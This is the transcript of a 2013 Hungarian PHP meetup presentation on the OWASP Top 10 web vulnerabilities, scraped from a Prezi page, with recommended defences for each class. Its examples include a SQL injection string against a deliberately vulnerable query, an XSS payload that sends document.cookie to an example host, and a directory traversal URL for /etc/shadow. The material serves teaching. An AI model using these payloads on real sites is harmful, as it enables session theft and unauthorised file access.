Prezi

Present Remotely

Send the link below via email or IM

Copy

Present to your audience

Start remote presentation

  • Invited audience members will follow you as you navigate and present
  • People invited to a presentation do not need a Prezi account
  • This link expires 10 minutes after you close the presentation
  • A maximum of 30 users can follow your presentation
  • Learn more about this feature in the manual

Do you really want to delete this prezi?

Neither you, nor the coeditors you shared it with will be able to recover it again.

DeleteCancel

Make your likes visible on Facebook?

Connect your Facebook account to Prezi and let your likes appear on your timeline.
You can change this under Settings & Account at any time.

No, thanks

OWASP Top 10 - #phpmeetup

No description
by Zoltán Vigh on 14 August 2013

Comments (0)

Please log in to add your comment.

Report abuse

Transcript of OWASP Top 10 - #phpmeetup

<?php
$title
=

"OWASP Top 10"
;

$author

=

"Vigh Zoltán - Zool"
;
$mail

=

"zool@vinfo.hu"
;

$social
=

array
(
"twitter"

=>
"https://twitter.com/ptZool"
,
"facebook"

=>

"https://www.facebook.com/vigh.zoltan"
,
"linkedin"

=>

"http://hu.linkedin.com/in/zvigh"
);

$job

=

"Nextent Informatika - üzemeltetési vezető"
;
?>
Mi az az OWASP?
Az Open Web Application Security Projekt egy nyitott közösség, amely céljaként tűzte ki, hogy a webes applikációk biztonságosabbak legyenek. Ezért feltérképezték és felmérték azokat a sérülékenységeket és támadási formákat, amelyek segítségével kompromittálható egy webes applikáció.
Top 10
A1 – Beszúrásos támadások (Injection)
A2 – Cross-Site Scripting (XSS)
A3 – Hibás hitelesítés és sessionkezelés (Broken Authentication and Session Management)
A4 – Nem biztonságos direkt objektumhivatkozás (Insecure Direct Object References)
A5 – Cross-Site Request Forgery (CSRF)
A6 – Helytelen biztonsági beállítások (Security Misconfiguration)
A7 – Nem megfelelő kriptográfiai tárolás (Insecure Cryptographic Storage)
A8 – URL hozzáférés korlátozásának hibája (Failure to Restrict URL Access)
A9 – Nem megfelelő szállítási réteg védelem (Insufficient Transport Layer Protection)
A10 – Nem ellenőrzött átirányítások és továbbítások (Unvalidated Redirects and Forwards)
A1 – Beszúrásos támadások (Injection)
A injection hibák, melyek közé elsősorban az SQL, operációs rendszer és LDAP injection értendő, olyankor történnek, amikor a támadó nem megbízható adatokat küld a parancsfeldolgozó felé parancsként vagy lekérdezésként. A támadó kód eléri a parancsfeldolgozónál, hogy az nem kívánt parancsot hajtson végre, vagy érzékeny adatokat szivárogtasson ki.
A2 – Cross-Site Scripting (XSS)
Az XSS hibák jellemzője, hogy egy alkalmazás nem megbízható adatokat vesz át és küld tovább a böngészőn keresztül megfelelő ellenőrzés és szűrés nélkül. Az XSS lehetővé teszi a támadónak, hogy szkripteket hajtson végre az áldozat böngészőjében, mellyel el tudja téríteni a felhasználó session-jét, weboldalakat tud megváltoztatni vagy át tudja irányítani a felhasználót egy kártékony oldalra.
$query

=
"SELECT * FROM accounts WHERE ID='$id' ";

http://example.com/accountView?id=' or '1'='1
Használjunk előre megírt SQL osztályokat (PDO - bindParam(), Framework SQL osztályok, stb.)
Minden bejövő user tartalmat szűrjünk!!
Használjunk tárolt eljárásokat (input == paraméter)
Leggyakoribb támadási mód
Bármilyen kód szúrható az oldalba (XSS)
Non­Perzisztens
- http://server.tld/error.php?hiba=Hiba
Perzisztens
- (Ártalmas kódok a szerveren vannak (statikusan, adatbázisban))
Cookie lopás, session hijacking, exploitálás
Bármit meg lehet tenni a böngészőkkel
$string
=
"<input name='creditcard' type='TEXT‘value='$request_parameter'>"
;

'><script>document.location='http://example.com/creditcard.php?q='%20+document.cookie</script>.
OWASP AntiSamy
htmlpurifier
Framework Classes
A4 – Nem biztonságos direkt objektumhivatkozás
(Insecure Direct Object References)
Direkt objektumhivatkozásról akkor beszélünk, amikor a fejlesztő felfed egy hivatkozást valamilyen belső, implementációhoz szükséges objektum felé, mint pl. egy fájl, könyvtár vagy adatbázis tábla. Megfelelő hozzáférés-védelem vagy más biztonsági megoldás nélkül a támadó vissza tud élni ezekkel a hivatkozásokkal, és nem jogosult hozzáférést szerezhet az ezekben tárolt adatokhoz.
Munkamenet azonosítót nem utaztatunk url-ben (browser history)
SSL használat mindenhol
SESSION ID-t ne választhassa tetszőlegesen a kliens (session fixation hiba)
Jelszó titkosítás
Az alkalmazások hitelesítéshez és sessionkezeléshez kapcsolódó funkciói sok esetben nem megfelelően lettek implementálva, ezért lehetővé válik a jelszavak, kulcsok, session tokenek megszerzése, vagy más hibák előidézése, melynek segítségével a támadó más, jogosult felhasználó nevében tud eljárni.
A3 – Hibás hitelesítés és sessionkezelés
(Broken Authentication and Session Management)
A CSRF támadás során a támadó kényszeríti az authentikált felhasználó böngészőjét arra, hogy egy hamisított HTTP kérést küldjön egy sebezhető webalkalmazás felé, mely tartalmazza az áldozat session cookie-ját és más hitelesítési információkat. Ez lehetővé teszi, hogy az áldozat böngészője olyan kéréseket küldjön a sebezhető alkalmazás felé a támadó nevében, melyről azt hiszi, hogy az legitim forrásból érkezik.
A5 – Cross-Site Request Forgery (CSRF)
Tervezési hiba!
ACL használata
Formoknál lehetőleg POST metódust használjunk
Formoknál rejtett mezőben token használata
SESSION time life (nem kényelmes!)
Használjunk framework-öt (symfony, zend, fuel, stb.)
A megfelelő biztonság eléréséhez meg kell határozni az alapvető beállításokat, és ezeket meg is kell valósítani az alkalmazásokban, keretrendszerekben, alkalmazásszervereken, webszervereken, adatbázis-szervereken és minden más érintett platformon. Mivel a legtöbb rendszer nem olyan alapbeállítással kerül telepítésre, mely az elvárható biztonsági szintet valósítja meg, ezeket a konfigurációkat meg kell határozni, implementálni kell, és folyamatosan fenn kell tartani. A folyamat során a szoftverek frissítéseire is figyelemmel kell lenni.
A6 – Helytelen biztonsági beállítások
(Security Misconfiguration)
verziók naprakészen tartása
beszédes hibaüzenetek kikapcsolása (error, notice, stb.)
jogosultságok ellenőrzése
fejlesztők/rendszergazdák közösen minimalizálják a hibákat
Számos webalkalmazás nem megfelelően kezeli az érzékeny adatokat, mint pl. a hitelesítési adatok, mert ezeket nem titkosított vagy hashelt formában őrzi. A támadók ezért megszerezhetik vagy módosíthatják a gyengén őrzött adatokat, ami számos visszaéléshez vezethet.
A7 – Nem megfelelő kriptográfiai tárolás
(Insecure Cryptographic Storage)
md5, sha1 mai technikával gyorsan törhető
ahol nincs szükség adatok viszefejtésére, használj egyírányú titkosítást sha2 + salt
ahol vissza kell állítani a titkosított adatokat, használj AES(szimmetrikus/egykulcsos titkosítás) vagy RSA(asszimetrikus/nyílt kulcsos titkosítás)
A webes alkalmazásokban fontos az URL-ek hozzáférési jogainak ellenőrzése, mielőtt a felhasználó elérne egy védett hivatkozást vagy akciógombot. Ezt a hozzáférési jog ellenőrzést viszont minden esetben meg kell tenni, amikor ezeket a védett oldalakat elérik, mert különben a támadó elérheti a rejtett oldalakat.
A8 – URL hozzáférés korlátozásának hibája
(Failure to Restrict URL Access)
Az alkalmazások gyakran nem megfelelő hitelesítést, titkosítást és bizalmasság-sértetlenség védelmet használnak az érzékeny hálózati forgalomban. Amikor viszont használnak, akkor is gyenge algoritmusokkal, lejárt vagy érvénytelen tanúsítványokkal teszik ezt, vagy egyszerűen nem megfelelően használják a kriptográfia adta lehetőségeket.
A9 – Nem megfelelő szállítási réteg védelem
(Insufficient Transport Layer Protection)
titkosított csatorna használata
megfelelően erős kriptográfia használata
teljes oldalon használjunk SSL-t
cookie secure flag
SSL tanúsítvány ellenőrzése
felhasználók oktatása SSL oldalak használatára
A webes alkalmazások gyakran irányítják át vagy továbbítják a felhasználókat más oldalakra, és használnak nem hiteles adatokat a forrásoldal megállapítására. Megfelelő ellenőrzés nélkül a támadók átirányíthatják a felhasználókat adathalász vagy kártékony oldalakra, vagy a továbbításokkal nem jogosult hozzáférést szerezhetnek.
A10 – Nem ellenőrzött átirányítások és továbbítások (Unvalidated Redirects and Forwards)
Források:
Krasznay Csaba
- Biztonsági tesztelési módszertanok
Kovács ferenc (Tyrael)
- Biztonságos webalkalmazások fejlesztése

Linkek:
https://www.owasp.org

Köszönöm a figyelmet!
FormSpring
<?php
$calories
=
150;
$colour
= '
red
';
$sth
=
$dbh
->
prepare
('
SELECT

name, colour, calories

FROM

fruit

WHERE

calories
<
:calories

AND

colour
=
:colour
');
$sth
->
bindParam
('
:calories
'
,
$calories
,
PDO::PARAM_INT
);
$sth
->
bindParam
('
:colour
'
,
$colour
,
PDO::PARAM_STR
,
12
);
$sth
->
execute
();
?>
Directory Traversal
http://example.com/file.php?file=report.txt
------
http://example.com/file.php?file=../../../etc/shadow

--------------------------------
http://example.com/user/5/edit
http://example.com/user/120/edit
See the full transcript